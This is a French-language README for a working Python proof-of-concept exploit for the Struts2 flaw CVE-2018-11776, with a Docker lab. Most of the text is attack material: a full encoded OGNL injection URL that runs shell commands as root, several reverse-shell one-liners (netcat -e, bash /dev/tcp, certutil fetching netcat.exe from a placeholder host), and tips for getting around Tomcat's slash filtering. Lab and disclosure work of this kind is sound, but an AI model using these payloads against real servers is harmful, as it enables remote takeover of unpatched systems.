
Test Python fonctionnel et PoC pour CVE-2018-11776, inclut un laboratoire Docker
hook-s3c (github.com/hook-s3c), @hook_s3c sur Twitter
Test et PoC Python fonctionnels pour CVE-2018-11776, apparus initialement sur ; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
Man Yue Mo de Semmle a divulgué une vulnérabilité RCE dans Struts2, délivrée dans une charge utile encodée dans le chemin URL d'une requête.
Les versions affectées sont 2.3 à 2.3.34, et 2.5 à 2.5.16.
La configuration par défaut n'est pas vulnérable, mais si mal configuré... F.
l'exploit fonctionnera parfaitement avec le conteneur Docker construit pour cve-2017-5638 (struts2-showcase-2.3.12)
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
ajoutez la configuration ci-dessous ;
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
et aussi ;
<struts>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
redémarrez votre tomcat et/ou conteneur
$ /usr/local/tomcat/bin/shutdown.sh
testez l'URL pour voir si une redirection et une évaluation se produisent ;
http://0.0.0.0:32771/${2+2}/help.action > http://0.0.0.0:32771/4/date.action
avec le script de test ;
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/HEAD/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action
uid=0(root) gid=0(root) groups=0(root)
préparez votre machine à accepter le shell inversé ;
$ netcat -lvp 31337
exécutez le script ;
# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'
# now pop that shell
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'
remplacez 32771 par le port exposé de votre conteneur
$ netcat -lvp 31337
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"
# grab netcat binary
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'
# execute
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'
Toutes les requêtes avec une barre oblique (/) échoueront car Tomcat les bloque activement, vous devrez peut-être contourner ce problème, par exemple en utilisant des variables d'environnement pour /bin/bash comme $SHELL dans l'exemple ci-dessus.
Dans cet esprit, le drapeau /c de Windows ne fonctionnera pas comme prévu. Je n'ai testé cela que sur le conteneur Docker.
Merci à @Menin_TheMiddle d'avoir montré que le problème de barre oblique peut être résolu, le code prend désormais en charge les barres obliques et donc un shell inversé sans netcat via bash est désormais également possible, et prend également en charge les instances Windows (non testé).
Corrigez votre Struts, ou simplement ne l'utilisez pas.
Je suppose que vous pouvez toujours vendre des produits d'usurpation d'identité si vous avez une fuite et que tous les détails de vos clients sont divulgués ! (vous savez qui vous êtes, ordure absolue)
Merci à ;
un grand merci à vap0rsquad!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces